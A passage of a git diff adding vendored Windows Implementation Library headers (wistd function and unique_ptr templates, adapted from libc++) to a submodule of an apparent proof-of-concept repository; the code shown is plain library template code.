__func<_Fp, _Rp(_ArgTypes...)> + : public __base<_Rp(_ArgTypes...)> + { + _Fp __f_; + public: + __WI_LIBCPP_INLINE_VISIBILITY + explicit __func(_Fp&& __f) + : __f_(wistd::move(__f)) {} + + __WI_LIBCPP_INLINE_VISIBILITY + explicit __func(const _Fp& __f) + : __f_(__f) {} + + virtual void __clone(__base<_Rp(_ArgTypes...)>*) const; + virtual void __move(__base<_Rp(_ArgTypes...)>*); + virtual void destroy() WI_NOEXCEPT; + virtual _Rp operator()(_ArgTypes&& ... __arg); + }; + + template + void + __func<_Fp, _Rp(_ArgTypes...)>::__clone(__base<_Rp(_ArgTypes...)>* __p) const + { + ::new (__p) __func(__f_); + } + + template + void + __func<_Fp, _Rp(_ArgTypes...)>::__move(__base<_Rp(_ArgTypes...)>* __p) + { + ::new (__p) __func(wistd::move(__f_)); + } + + template + void + __func<_Fp, _Rp(_ArgTypes...)>::destroy() WI_NOEXCEPT + { + __f_.~_Fp(); + } + + template + _Rp + __func<_Fp, _Rp(_ArgTypes...)>::operator()(_ArgTypes&& ... __arg) + { + typedef __invoke_void_return_wrapper<_Rp> _Invoker; + return _Invoker::__call(__f_, wistd::forward<_ArgTypes>(__arg)...); + } + + } // __function + + template + class __WI_LIBCPP_TEMPLATE_VIS function<_Rp(_ArgTypes...)> + : public __function::__maybe_derive_from_unary_function<_Rp(_ArgTypes...)>, + public __function::__maybe_derive_from_binary_function<_Rp(_ArgTypes...)> + { + // 'wistd::function' is most similar to 'inplace_function' in that it _only_ permits holding function objects + // that can fit within its internal buffer. Therefore, we expand this size to accommodate space for at least 12 + // pointers (__base vtable takes an additional one). + static constexpr size_t __buffer_size = 13 * sizeof(void*); + + typedef __function::__base<_Rp(_ArgTypes...)> __base; + __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS + typename aligned_storage<__buffer_size>::type __buf_; + __base* __f_; + + __WI_LIBCPP_NO_CFI static __base *__as_base(void *p) { + return reinterpret_cast<__base*>(p); + } + + template + struct __callable_imp + { + static const bool value = is_same::value || + is_convertible::type, + _Rp>::value; + }; + + template + struct __callable_imp<_Fp, false> + { + static const bool value = false; + }; + + template + struct __callable + { + static const bool value = __callable_imp<_Fp, __lazy_and< + integral_constant, function>::value>, + __invokable<_Fp&, _ArgTypes...> + >::value>::value; + }; + + template + using _EnableIfCallable = typename enable_if<__callable<_Fp>::value>::type; + public: + typedef _Rp result_type; + + // construct/copy/destroy: + __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS + function() WI_NOEXCEPT : __f_(0) {} + __WI_LIBCPP_INLINE_VISIBILITY + function(nullptr_t) WI_NOEXCEPT : __f_(0) {} + function(const function&); + function(function&&); + template> + function(_Fp); + + function& operator=(const function&); + function& operator=(function&&); + function& operator=(nullptr_t) WI_NOEXCEPT; + template> + function& operator=(_Fp&&); + + ~function(); + + // function modifiers: + void swap(function&); + + // function capacity: + __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_EXPLICIT operator bool() const WI_NOEXCEPT {return __f_;} + + // deleted overloads close possible hole in the type system + template + bool operator==(const function<_R2(_ArgTypes2...)>&) const = delete; + template + bool operator!=(const function<_R2(_ArgTypes2...)>&) const = delete; + public: + // function invocation: + _Rp operator()(_ArgTypes...) const; + + // NOTE: type_info is very compiler specific, and on top of that, we're operating in a namespace other than + // 'std' so all functions requiring RTTI have been removed + }; + + template + __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS + function<_Rp(_ArgTypes...)>::function(const function& __f) + { + if (__f.__f_ == 0) + __f_ = 0; + else + { + __f_ = __as_base(&__buf_); + __f.__f_->__clone(__f_); + } + } + + template + __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS __WI_LIBCPP_SUPPRESS_NOEXCEPT_ANALYSIS + function<_Rp(_ArgTypes...)>::function(function&& __f) + { + if (__f.__f_ == 0) + __f_ = 0; + else + { + __f_ = __as_base(&__buf_); + __f.__f_->__move(__f_); + __f.__f_->destroy(); + __f.__f_ = 0; + } + } + + template + template + __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS + function<_Rp(_ArgTypes...)>::function(_Fp __f) + : __f_(0) + { + if (__function::__not_null(__f)) + { + typedef __function::__func<_Fp, _Rp(_ArgTypes...)> _FF; + static_assert(sizeof(_FF) <= sizeof(__buf_), + "The sizeof(wistd::function) has grown too large for the reserved buffer (12 pointers). Refactor to reduce size of the capture."); + __f_ = ::new((void*)&__buf_) _FF(wistd::move(__f)); + } + } + + template + function<_Rp(_ArgTypes...)>& + function<_Rp(_ArgTypes...)>::operator=(const function& __f) + { + *this = nullptr; + if (__f.__f_) + { + __f_ = __as_base(&__buf_); + __f.__f_->__clone(__f_); + } + return *this; + } + + template + function<_Rp(_ArgTypes...)>& + function<_Rp(_ArgTypes...)>::operator=(function&& __f) + { + *this = nullptr; + if (__f.__f_) + { + __f_ = __as_base(&__buf_); + __f.__f_->__move(__f_); + __f.__f_->destroy(); + __f.__f_ = 0; + } + return *this; + } + + template + function<_Rp(_ArgTypes...)>& + function<_Rp(_ArgTypes...)>::operator=(nullptr_t) WI_NOEXCEPT + { + __base* __t = __f_; + __f_ = 0; + if (__t) + __t->destroy(); + return *this; + } + + template + template + function<_Rp(_ArgTypes...)>& + function<_Rp(_ArgTypes...)>::operator=(_Fp&& __f) + { + *this = nullptr; + if (__function::__not_null(__f)) + { + typedef __function::__func::type, _Rp(_ArgTypes...)> _FF; + static_assert(sizeof(_FF) <= sizeof(__buf_), + "The sizeof(wistd::function) has grown too large for the reserved buffer (12 pointers). Refactor to reduce size of the capture."); + __f_ = ::new((void*)&__buf_) _FF(wistd::move(__f)); + } + + return *this; + } + + template + function<_Rp(_ArgTypes...)>::~function() + { + if (__f_) + __f_->destroy(); + } + + template + void + function<_Rp(_ArgTypes...)>::swap(function& __f) + { + if (wistd::addressof(__f) == this) + return; + if (__f_ && __f.__f_) + { + typename aligned_storage::type __tempbuf; + __base* __t = __as_base(&__tempbuf); + __f_->__move(__t); + __f_->destroy(); + __f_ = 0; + __f.__f_->__move(__as_base(&__buf_)); + __f.__f_->destroy(); + __f.__f_ = 0; + __f_ = __as_base(&__buf_); + __t->__move(__as_base(&__f.__buf_)); + __t->destroy(); + __f.__f_ = __as_base(&__f.__buf_); + } + else if (__f_) + { + __f_->__move(__as_base(&__f.__buf_)); + __f_->destroy(); + __f_ = 0; + __f.__f_ = __as_base(&__f.__buf_); + } + else if (__f.__f_) + { + __f.__f_->__move(__as_base(&__buf_)); + __f.__f_->destroy(); + __f.__f_ = 0; + __f_ = __as_base(&__buf_); + } + } + + template + _Rp + function<_Rp(_ArgTypes...)>::operator()(_ArgTypes... __arg) const + { + if (__f_ == 0) + __throw_bad_function_call(); + return (*__f_)(wistd::forward<_ArgTypes>(__arg)...); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator==(const function<_Rp(_ArgTypes...)>& __f, nullptr_t) WI_NOEXCEPT {return !__f;} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator==(nullptr_t, const function<_Rp(_ArgTypes...)>& __f) WI_NOEXCEPT {return !__f;} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator!=(const function<_Rp(_ArgTypes...)>& __f, nullptr_t) WI_NOEXCEPT {return (bool)__f;} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + bool + operator!=(nullptr_t, const function<_Rp(_ArgTypes...)>& __f) WI_NOEXCEPT {return (bool)__f;} + + // Provide both 'swap_wil' and 'swap' since we now have two ADL scenarios that we need to work + template + inline __WI_LIBCPP_INLINE_VISIBILITY + void + swap(function<_Rp(_ArgTypes...)>& __x, function<_Rp(_ArgTypes...)>& __y) + {return __x.swap(__y);} + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + void + swap_wil(function<_Rp(_ArgTypes...)>& __x, function<_Rp(_ArgTypes...)>& __y) + {return __x.swap(__y);} + + // std::invoke + template + typename __invoke_of<_Fn, _Args...>::type + invoke(_Fn&& __f, _Args&&... __args) + __WI_NOEXCEPT_((__nothrow_invokable<_Fn, _Args...>::value)) + { + return wistd::__invoke(wistd::forward<_Fn>(__f), wistd::forward<_Args>(__args)...); + } + +#else // __WI_LIBCPP_CXX03_LANG + +#error wistd::function and wistd::invoke not implemented for pre-C++11 + +#endif +} +/// @endcond + +#pragma warning(pop) + +#endif // _WISTD_FUNCTIONAL_H_ diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_memory.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_memory.h new file mode 100644 index 00000000..4f578a9f --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/wistd_memory.h @@ -0,0 +1,1038 @@ +// -*- C++ -*- +//===-------------------------- memory ------------------------------------===// +// +// The LLVM Compiler Infrastructure +// +// This file is dual licensed under the MIT and the University of Illinois Open +// Source Licenses. See LICENSE.TXT for details. +// +//===----------------------------------------------------------------------===// + +// STL common functionality +// +// Some aspects of STL are core language concepts that should be used from all C++ code, regardless +// of whether exceptions are enabled in the component. Common library code that expects to be used +// from exception-free components want these concepts, but including STL headers directly introduces +// friction as it requires components not using STL to declare their STL version. Doing so creates +// ambiguity around whether STL use is safe in a particular component and implicitly brings in +// a long list of headers (including ) which can create further ambiguity around throwing new +// support (some routines pulled in may expect it). Secondarily, pulling in these headers also has +// the potential to create naming conflicts or other implied dependencies. +// +// To promote the use of these core language concepts outside of STL-based binaries, this file is +// selectively pulling those concepts *directly* from corresponding STL headers. The corresponding +// "std::" namespace STL functions and types should be preferred over these in code that is bound to +// STL. The implementation and naming of all functions are taken directly from STL, instead using +// "wistd" (Windows Implementation std) as the namespace. +// +// Routines in this namespace should always be considered a reflection of the *current* STL implementation +// of those routines. Updates from STL should be taken, but no "bugs" should be fixed here. +// +// New, exception-based code should not use this namespace, but instead should prefer the std:: implementation. +// Only code that is not exception-based and libraries that expect to be utilized across both exception +// and non-exception based code should utilize this functionality. + +#ifndef _WISTD_MEMORY_H_ +#define _WISTD_MEMORY_H_ + +// DO NOT add *any* additional includes to this file -- there should be no dependencies from its usage +#include "wistd_type_traits.h" + +#if !defined(__WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER) +#pragma GCC system_header +#endif + +/// @cond +namespace wistd // ("Windows Implementation" std) +{ + // allocator_traits + + template + struct __has_pointer_type : false_type {}; + + template + struct __has_pointer_type<_Tp, + typename __void_t::type> : true_type {}; + + namespace __pointer_type_imp + { + + template ::value> + struct __pointer_type + { + typedef typename _Dp::pointer type; + }; + + template + struct __pointer_type<_Tp, _Dp, false> + { + typedef _Tp* type; + }; + + } // __pointer_type_imp + + template + struct __pointer_type + { + typedef typename __pointer_type_imp::__pointer_type<_Tp, typename remove_reference<_Dp>::type>::type type; + }; + + template ::value && !__libcpp_is_final<_Tp>::value> + struct __compressed_pair_elem { + typedef _Tp _ParamT; + typedef _Tp& reference; + typedef const _Tp& const_reference; + +#ifndef __WI_LIBCPP_CXX03_LANG + __WI_LIBCPP_INLINE_VISIBILITY constexpr __compressed_pair_elem() : __value_() {} + + template ::type>::value + >::type> + __WI_LIBCPP_INLINE_VISIBILITY + constexpr explicit + __compressed_pair_elem(_Up&& __u) + : __value_(wistd::forward<_Up>(__u)) + { + } + + // NOTE: Since we have not added 'tuple' to 'wistd', the 'piecewise' constructor has been removed +#else + __WI_LIBCPP_INLINE_VISIBILITY __compressed_pair_elem() : __value_() {} + __WI_LIBCPP_INLINE_VISIBILITY + __compressed_pair_elem(_ParamT __p) : __value_(wistd::forward<_ParamT>(__p)) {} +#endif + + __WI_LIBCPP_INLINE_VISIBILITY reference __get() WI_NOEXCEPT { return __value_; } + __WI_LIBCPP_INLINE_VISIBILITY + const_reference __get() const WI_NOEXCEPT { return __value_; } + + private: + _Tp __value_; + }; + + template + struct __compressed_pair_elem<_Tp, _Idx, true> : private _Tp { + typedef _Tp _ParamT; + typedef _Tp& reference; + typedef const _Tp& const_reference; + typedef _Tp __value_type; + +#ifndef __WI_LIBCPP_CXX03_LANG + __WI_LIBCPP_INLINE_VISIBILITY constexpr __compressed_pair_elem() = default; + + template ::type>::value + >::type> + __WI_LIBCPP_INLINE_VISIBILITY + constexpr explicit + __compressed_pair_elem(_Up&& __u) + : __value_type(wistd::forward<_Up>(__u)) + {} + + // NOTE: Since we have not added 'tuple' to 'wistd', the 'piecewise' constructor has been removed +#else + __WI_LIBCPP_INLINE_VISIBILITY __compressed_pair_elem() : __value_type() {} + __WI_LIBCPP_INLINE_VISIBILITY + __compressed_pair_elem(_ParamT __p) + : __value_type(wistd::forward<_ParamT>(__p)) {} +#endif + + __WI_LIBCPP_INLINE_VISIBILITY reference __get() WI_NOEXCEPT { return *this; } + __WI_LIBCPP_INLINE_VISIBILITY + const_reference __get() const WI_NOEXCEPT { return *this; } + }; + + // Tag used to construct the second element of the compressed pair. + struct __second_tag {}; + + template + class __compressed_pair : private __compressed_pair_elem<_T1, 0>, + private __compressed_pair_elem<_T2, 1> { + typedef __compressed_pair_elem<_T1, 0> _Base1; + typedef __compressed_pair_elem<_T2, 1> _Base2; + + // NOTE: This static assert should never fire because __compressed_pair + // is *almost never* used in a scenario where it's possible for T1 == T2. + // (The exception is wistd::function where it is possible that the function + // object and the allocator have the same type). + static_assert((!is_same<_T1, _T2>::value), + "__compressed_pair cannot be instantated when T1 and T2 are the same type; " + "The current implementation is NOT ABI-compatible with the previous " + "implementation for this configuration"); + + public: +#ifndef __WI_LIBCPP_CXX03_LANG + template , _Dummy>::value && + __dependent_type, _Dummy>::value + >::type + > + __WI_LIBCPP_INLINE_VISIBILITY + constexpr __compressed_pair() {} + + template ::type, + __compressed_pair>::value, + bool>::type = true> + __WI_LIBCPP_INLINE_VISIBILITY constexpr explicit + __compressed_pair(_Tp&& __t) + : _Base1(wistd::forward<_Tp>(__t)), _Base2() {} + + template + __WI_LIBCPP_INLINE_VISIBILITY constexpr + __compressed_pair(__second_tag, _Tp&& __t) + : _Base1(), _Base2(wistd::forward<_Tp>(__t)) {} + + template + __WI_LIBCPP_INLINE_VISIBILITY constexpr + __compressed_pair(_U1&& __t1, _U2&& __t2) + : _Base1(wistd::forward<_U1>(__t1)), _Base2(wistd::forward<_U2>(__t2)) {} + + // NOTE: Since we have not added 'tuple' to 'wistd', the 'piecewise' constructor has been removed +#else + __WI_LIBCPP_INLINE_VISIBILITY + __compressed_pair() {} + + __WI_LIBCPP_INLINE_VISIBILITY explicit + __compressed_pair(_T1 __t1) : _Base1(wistd::forward<_T1>(__t1)) {} + + __WI_LIBCPP_INLINE_VISIBILITY + __compressed_pair(__second_tag, _T2 __t2) + : _Base1(), _Base2(wistd::forward<_T2>(__t2)) {} + + __WI_LIBCPP_INLINE_VISIBILITY + __compressed_pair(_T1 __t1, _T2 __t2) + : _Base1(wistd::forward<_T1>(__t1)), _Base2(wistd::forward<_T2>(__t2)) {} +#endif + + __WI_LIBCPP_INLINE_VISIBILITY + typename _Base1::reference first() WI_NOEXCEPT { + return static_cast<_Base1&>(*this).__get(); + } + + __WI_LIBCPP_INLINE_VISIBILITY + typename _Base1::const_reference first() const WI_NOEXCEPT { + return static_cast<_Base1 const&>(*this).__get(); + } + + __WI_LIBCPP_INLINE_VISIBILITY + typename _Base2::reference second() WI_NOEXCEPT { + return static_cast<_Base2&>(*this).__get(); + } + + __WI_LIBCPP_INLINE_VISIBILITY + typename _Base2::const_reference second() const WI_NOEXCEPT { + return static_cast<_Base2 const&>(*this).__get(); + } + + __WI_LIBCPP_INLINE_VISIBILITY + void swap(__compressed_pair& __x) + __WI_NOEXCEPT_(__is_nothrow_swappable<_T1>::value && + __is_nothrow_swappable<_T2>::value) + { + using wistd::swap_wil; + swap_wil(first(), __x.first()); + swap_wil(second(), __x.second()); + } + }; + + // Provide both 'swap_wil' and 'swap' since we now have two ADL scenarios that we need to work + template + inline __WI_LIBCPP_INLINE_VISIBILITY + void swap(__compressed_pair<_T1, _T2>& __x, __compressed_pair<_T1, _T2>& __y) + __WI_NOEXCEPT_(__is_nothrow_swappable<_T1>::value && + __is_nothrow_swappable<_T2>::value) { + __x.swap(__y); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + void swap_wil(__compressed_pair<_T1, _T2>& __x, __compressed_pair<_T1, _T2>& __y) + __WI_NOEXCEPT_(__is_nothrow_swappable<_T1>::value && + __is_nothrow_swappable<_T2>::value) { + __x.swap(__y); + } + + // default_delete + + template + struct __WI_LIBCPP_TEMPLATE_VIS default_delete { + static_assert(!is_function<_Tp>::value, + "default_delete cannot be instantiated for function types"); +#ifndef __WI_LIBCPP_CXX03_LANG + __WI_LIBCPP_INLINE_VISIBILITY constexpr default_delete() WI_NOEXCEPT = default; +#else + __WI_LIBCPP_INLINE_VISIBILITY default_delete() {} +#endif + template + __WI_LIBCPP_INLINE_VISIBILITY + default_delete(const default_delete<_Up>&, + typename enable_if::value>::type* = + 0) WI_NOEXCEPT {} + + __WI_LIBCPP_INLINE_VISIBILITY void operator()(_Tp* __ptr) const WI_NOEXCEPT { + static_assert(sizeof(_Tp) > 0, + "default_delete can not delete incomplete type"); + static_assert(!is_void<_Tp>::value, + "default_delete can not delete incomplete type"); + delete __ptr; + } + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS default_delete<_Tp[]> { + private: + template + struct _EnableIfConvertible + : enable_if::value> {}; + + public: +#ifndef __WI_LIBCPP_CXX03_LANG + __WI_LIBCPP_INLINE_VISIBILITY constexpr default_delete() WI_NOEXCEPT = default; +#else + __WI_LIBCPP_INLINE_VISIBILITY default_delete() {} +#endif + + template + __WI_LIBCPP_INLINE_VISIBILITY + default_delete(const default_delete<_Up[]>&, + typename _EnableIfConvertible<_Up>::type* = 0) WI_NOEXCEPT {} + + template + __WI_LIBCPP_INLINE_VISIBILITY + typename _EnableIfConvertible<_Up>::type + operator()(_Up* __ptr) const WI_NOEXCEPT { + static_assert(sizeof(_Tp) > 0, + "default_delete can not delete incomplete type"); + static_assert(!is_void<_Tp>::value, + "default_delete can not delete void type"); + delete[] __ptr; + } + }; + + + +#ifndef __WI_LIBCPP_CXX03_LANG + template + struct __unique_ptr_deleter_sfinae { + static_assert(!is_reference<_Deleter>::value, "incorrect specialization"); + typedef const _Deleter& __lval_ref_type; + typedef _Deleter&& __good_rval_ref_type; + typedef true_type __enable_rval_overload; + }; + + template + struct __unique_ptr_deleter_sfinae<_Deleter const&> { + typedef const _Deleter& __lval_ref_type; + typedef const _Deleter&& __bad_rval_ref_type; + typedef false_type __enable_rval_overload; + }; + + template + struct __unique_ptr_deleter_sfinae<_Deleter&> { + typedef _Deleter& __lval_ref_type; + typedef _Deleter&& __bad_rval_ref_type; + typedef false_type __enable_rval_overload; + }; +#endif // !defined(__WI_LIBCPP_CXX03_LANG) + + template > + class __WI_LIBCPP_TEMPLATE_VIS unique_ptr { + public: + typedef _Tp element_type; + typedef _Dp deleter_type; + typedef typename __pointer_type<_Tp, deleter_type>::type pointer; + + static_assert(!is_rvalue_reference::value, + "the specified deleter type cannot be an rvalue reference"); + + private: + __compressed_pair __ptr_; + + struct __nat { int __for_bool_; }; + +#ifndef __WI_LIBCPP_CXX03_LANG + typedef __unique_ptr_deleter_sfinae<_Dp> _DeleterSFINAE; + + template + using _LValRefType = + typename __dependent_type<_DeleterSFINAE, _Dummy>::__lval_ref_type; + + template + using _GoodRValRefType = + typename __dependent_type<_DeleterSFINAE, _Dummy>::__good_rval_ref_type; + + template + using _BadRValRefType = + typename __dependent_type<_DeleterSFINAE, _Dummy>::__bad_rval_ref_type; + + template , _Dummy>::type> + using _EnableIfDeleterDefaultConstructible = + typename enable_if::value && + !is_pointer<_Deleter>::value>::type; + + template + using _EnableIfDeleterConstructible = + typename enable_if::value>::type; + + template + using _EnableIfMoveConvertible = typename enable_if< + is_convertible::value && + !is_array<_Up>::value + >::type; + + template + using _EnableIfDeleterConvertible = typename enable_if< + (is_reference<_Dp>::value && is_same<_Dp, _UDel>::value) || + (!is_reference<_Dp>::value && is_convertible<_UDel, _Dp>::value) + >::type; + + template + using _EnableIfDeleterAssignable = typename enable_if< + is_assignable<_Dp&, _UDel&&>::value + >::type; + + public: + template > + __WI_LIBCPP_INLINE_VISIBILITY + constexpr unique_ptr() WI_NOEXCEPT : __ptr_(pointer()) {} + + template > + __WI_LIBCPP_INLINE_VISIBILITY + constexpr unique_ptr(nullptr_t) WI_NOEXCEPT : __ptr_(pointer()) {} + + template > + __WI_LIBCPP_INLINE_VISIBILITY + explicit unique_ptr(pointer __p) WI_NOEXCEPT : __ptr_(__p) {} + + template >> + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(pointer __p, _LValRefType<_Dummy> __d) WI_NOEXCEPT + : __ptr_(__p, __d) {} + + template >> + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(pointer __p, _GoodRValRefType<_Dummy> __d) WI_NOEXCEPT + : __ptr_(__p, wistd::move(__d)) { + static_assert(!is_reference::value, + "rvalue deleter bound to reference"); + } + + template >> + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(pointer __p, _BadRValRefType<_Dummy> __d) = delete; + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(unique_ptr&& __u) WI_NOEXCEPT + : __ptr_(__u.release(), wistd::forward(__u.get_deleter())) { + } + + template , _Up>, + class = _EnableIfDeleterConvertible<_Ep> + > + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(unique_ptr<_Up, _Ep>&& __u) WI_NOEXCEPT + : __ptr_(__u.release(), wistd::forward<_Ep>(__u.get_deleter())) {} + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr& operator=(unique_ptr&& __u) WI_NOEXCEPT { + reset(__u.release()); + __ptr_.second() = wistd::forward(__u.get_deleter()); + return *this; + } + + template , _Up>, + class = _EnableIfDeleterAssignable<_Ep> + > + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr& operator=(unique_ptr<_Up, _Ep>&& __u) WI_NOEXCEPT { + reset(__u.release()); + __ptr_.second() = wistd::forward<_Ep>(__u.get_deleter()); + return *this; + } + +#else // __WI_LIBCPP_CXX03_LANG + private: + unique_ptr(unique_ptr&); + template unique_ptr(unique_ptr<_Up, _Ep>&); + + unique_ptr& operator=(unique_ptr&); + template unique_ptr& operator=(unique_ptr<_Up, _Ep>&); + + public: + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr() : __ptr_(pointer()) + { + static_assert(!is_pointer::value, + "unique_ptr constructed with null function pointer deleter"); + static_assert(is_default_constructible::value, + "unique_ptr::deleter_type is not default constructible"); + } + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(nullptr_t) : __ptr_(pointer()) + { + static_assert(!is_pointer::value, + "unique_ptr constructed with null function pointer deleter"); + } + __WI_LIBCPP_INLINE_VISIBILITY + explicit unique_ptr(pointer __p) + : __ptr_(wistd::move(__p)) { + static_assert(!is_pointer::value, + "unique_ptr constructed with null function pointer deleter"); + } + + __WI_LIBCPP_INLINE_VISIBILITY + operator __rv() { + return __rv(*this); + } + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(__rv __u) + : __ptr_(__u->release(), + wistd::forward(__u->get_deleter())) {} + + template + __WI_LIBCPP_INLINE_VISIBILITY + typename enable_if< + !is_array<_Up>::value && + is_convertible::pointer, + pointer>::value && + is_assignable::value, + unique_ptr&>::type + operator=(unique_ptr<_Up, _Ep> __u) { + reset(__u.release()); + __ptr_.second() = wistd::forward<_Ep>(__u.get_deleter()); + return *this; + } + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(pointer __p, deleter_type __d) + : __ptr_(wistd::move(__p), wistd::move(__d)) {} +#endif // __WI_LIBCPP_CXX03_LANG + + __WI_LIBCPP_INLINE_VISIBILITY + ~unique_ptr() { reset(); } + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr& operator=(nullptr_t) WI_NOEXCEPT { + reset(); + return *this; + } + + __WI_LIBCPP_INLINE_VISIBILITY + typename add_lvalue_reference<_Tp>::type + operator*() const { + return *__ptr_.first(); + } + __WI_LIBCPP_INLINE_VISIBILITY + pointer operator->() const WI_NOEXCEPT { + return __ptr_.first(); + } + __WI_LIBCPP_INLINE_VISIBILITY + pointer get() const WI_NOEXCEPT { + return __ptr_.first(); + } + __WI_LIBCPP_INLINE_VISIBILITY + deleter_type& get_deleter() WI_NOEXCEPT { + return __ptr_.second(); + } + __WI_LIBCPP_INLINE_VISIBILITY + const deleter_type& get_deleter() const WI_NOEXCEPT { + return __ptr_.second(); + } + __WI_LIBCPP_INLINE_VISIBILITY + __WI_LIBCPP_EXPLICIT operator bool() const WI_NOEXCEPT { + return __ptr_.first() != nullptr; + } + + __WI_LIBCPP_INLINE_VISIBILITY + pointer release() WI_NOEXCEPT { + pointer __t = __ptr_.first(); + __ptr_.first() = pointer(); + return __t; + } + + __WI_LIBCPP_INLINE_VISIBILITY + void reset(pointer __p = pointer()) WI_NOEXCEPT { + pointer __tmp = __ptr_.first(); + __ptr_.first() = __p; + if (__tmp) + __ptr_.second()(__tmp); + } + + __WI_LIBCPP_INLINE_VISIBILITY + void swap(unique_ptr& __u) WI_NOEXCEPT { + __ptr_.swap(__u.__ptr_); + } + }; + + + template + class __WI_LIBCPP_TEMPLATE_VIS unique_ptr<_Tp[], _Dp> { + public: + typedef _Tp element_type; + typedef _Dp deleter_type; + typedef typename __pointer_type<_Tp, deleter_type>::type pointer; + + private: + __compressed_pair __ptr_; + + template + struct _CheckArrayPointerConversion : is_same<_From, pointer> {}; + + template + struct _CheckArrayPointerConversion<_FromElem*> + : integral_constant::value || + (is_same::value && + is_convertible<_FromElem(*)[], element_type(*)[]>::value) + > + {}; + +#ifndef __WI_LIBCPP_CXX03_LANG + typedef __unique_ptr_deleter_sfinae<_Dp> _DeleterSFINAE; + + template + using _LValRefType = + typename __dependent_type<_DeleterSFINAE, _Dummy>::__lval_ref_type; + + template + using _GoodRValRefType = + typename __dependent_type<_DeleterSFINAE, _Dummy>::__good_rval_ref_type; + + template + using _BadRValRefType = + typename __dependent_type<_DeleterSFINAE, _Dummy>::__bad_rval_ref_type; + + template , _Dummy>::type> + using _EnableIfDeleterDefaultConstructible = + typename enable_if::value && + !is_pointer<_Deleter>::value>::type; + + template + using _EnableIfDeleterConstructible = + typename enable_if::value>::type; + + template + using _EnableIfPointerConvertible = typename enable_if< + _CheckArrayPointerConversion<_Pp>::value + >::type; + + template + using _EnableIfMoveConvertible = typename enable_if< + is_array<_Up>::value && + is_same::value && + is_same::value && + is_convertible<_ElemT(*)[], element_type(*)[]>::value + >::type; + + template + using _EnableIfDeleterConvertible = typename enable_if< + (is_reference<_Dp>::value && is_same<_Dp, _UDel>::value) || + (!is_reference<_Dp>::value && is_convertible<_UDel, _Dp>::value) + >::type; + + template + using _EnableIfDeleterAssignable = typename enable_if< + is_assignable<_Dp&, _UDel&&>::value + >::type; + + public: + template > + __WI_LIBCPP_INLINE_VISIBILITY + constexpr unique_ptr() WI_NOEXCEPT : __ptr_(pointer()) {} + + template > + __WI_LIBCPP_INLINE_VISIBILITY + constexpr unique_ptr(nullptr_t) WI_NOEXCEPT : __ptr_(pointer()) {} + + template , + class = _EnableIfPointerConvertible<_Pp>> + __WI_LIBCPP_INLINE_VISIBILITY + explicit unique_ptr(_Pp __p) WI_NOEXCEPT + : __ptr_(__p) {} + + template >, + class = _EnableIfPointerConvertible<_Pp>> + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(_Pp __p, _LValRefType<_Dummy> __d) WI_NOEXCEPT + : __ptr_(__p, __d) {} + + template >> + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(nullptr_t, _LValRefType<_Dummy> __d) WI_NOEXCEPT + : __ptr_(nullptr, __d) {} + + template >, + class = _EnableIfPointerConvertible<_Pp>> + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(_Pp __p, _GoodRValRefType<_Dummy> __d) WI_NOEXCEPT + : __ptr_(__p, wistd::move(__d)) { + static_assert(!is_reference::value, + "rvalue deleter bound to reference"); + } + + template >> + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(nullptr_t, _GoodRValRefType<_Dummy> __d) WI_NOEXCEPT + : __ptr_(nullptr, wistd::move(__d)) { + static_assert(!is_reference::value, + "rvalue deleter bound to reference"); + } + + template >, + class = _EnableIfPointerConvertible<_Pp>> + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(_Pp __p, _BadRValRefType<_Dummy> __d) = delete; + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(unique_ptr&& __u) WI_NOEXCEPT + : __ptr_(__u.release(), wistd::forward(__u.get_deleter())) { + } + + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr& operator=(unique_ptr&& __u) WI_NOEXCEPT { + reset(__u.release()); + __ptr_.second() = wistd::forward(__u.get_deleter()); + return *this; + } + + template , _Up>, + class = _EnableIfDeleterConvertible<_Ep> + > + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr(unique_ptr<_Up, _Ep>&& __u) WI_NOEXCEPT + : __ptr_(__u.release(), wistd::forward<_Ep>(__u.get_deleter())) { + } + + template , _Up>, + class = _EnableIfDeleterAssignable<_Ep> + > + __WI_LIBCPP_INLINE_VISIBILITY + unique_ptr& + operator=(unique_ptr<_Up, _Ep>&& __u) WI_NOEXCEPT { + reset(__u.release()); + __ptr_.second() = wistd::forward<_Ep>(__u.get_deleter()); + return *this; + } + +#else // __WI_LIBCPP_CXX03_LANG + private: + template explicit unique_ptr(_Up); + + unique_ptr(unique_ptr&); + template unique_ptr(unique_ptr<_Up>&); + + unique_ptr& 